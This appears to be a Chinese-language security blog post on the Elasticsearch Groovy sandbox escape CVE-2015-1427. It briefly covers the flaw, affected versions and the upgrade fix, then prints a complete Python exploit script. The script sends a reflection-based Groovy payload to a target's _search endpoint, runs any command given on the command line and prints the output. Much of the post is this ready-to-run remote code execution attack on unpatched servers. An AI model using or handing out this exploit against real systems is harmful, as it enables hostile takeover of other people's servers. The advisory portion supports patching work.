ElasticSearch远程代码执行漏洞

  • A+
所属分类:代码审计

Elasticsearch Groovy任意命令执行漏洞EXP

ElasticSearch爆出严重安全漏洞(CVE-2015-1427),该漏洞可造成远程代码执行,攻击者可直接获取系统权限,危害较大,请广大用户注意。

漏洞危害:

攻击者可利用该远程任意命令执行漏洞获取主机最高权限

漏洞描述:

漏洞出现在脚本查询模块,默认搜索引擎支持使用脚本代码(MVEL)作为表达式进行数据操作,MVEL会被脚本语言引擎换成Groovy,并且加入了沙盒进行控制,危险的代码会在这里被拦截。但是安全研究人员发现,沙盒限制存在过滤不严的情况,攻击者可以通过MVEL构造执行任意java代码,导致远程代码执行。

ElasticSearch远程代码执行漏洞

影响版本:

Elasticsearch 内置Groovy脚本引擎版本<1.3.8, 1.4.x系列<1.4.3

修复方法:

升级到1.4.3或者1.3.8

http://www.elasticsearch.org/downloads/1-4-3

http://www.elasticsearch.org/downloads/1-3-8

参考:

http://www.elasticsearch.com/blog/elasticsearch-1-4-3-1-3-8-released

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-1427

http://drops.wooyun.org/papers/5107

 

Elasticsearch Groovy任意命令执行漏洞EXP

[php]

#!/usr/bin/env python

import urllib

import urllib2

import json

import sys

&nbsp;

def execute(url,command):

parameters = {"size":1,

"script_fields":

{"iswin":

{"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).\

newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.\

class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"%s\").\

getInputStream())).readLines()" % command,"lang": "groovy"}

}

}

data = json.dumps(parameters)

try:

request=urllib2.Request(url+"_search?pretty",data)

request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36')

response=urllib2.urlopen(request)

result = json.loads(response.read())["hits"]["hits"][0]["fields"]["iswin"][0]

for i in result:

print i

except Exception, e:

print e

&nbsp;

if __name__ == '__main__':

if len(sys.argv) != 3:

print "usage %s url command" % sys.argv[0]

else:

execute(sys.argv[1],sys.argv[2])

[/php]

SS推荐
老D

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: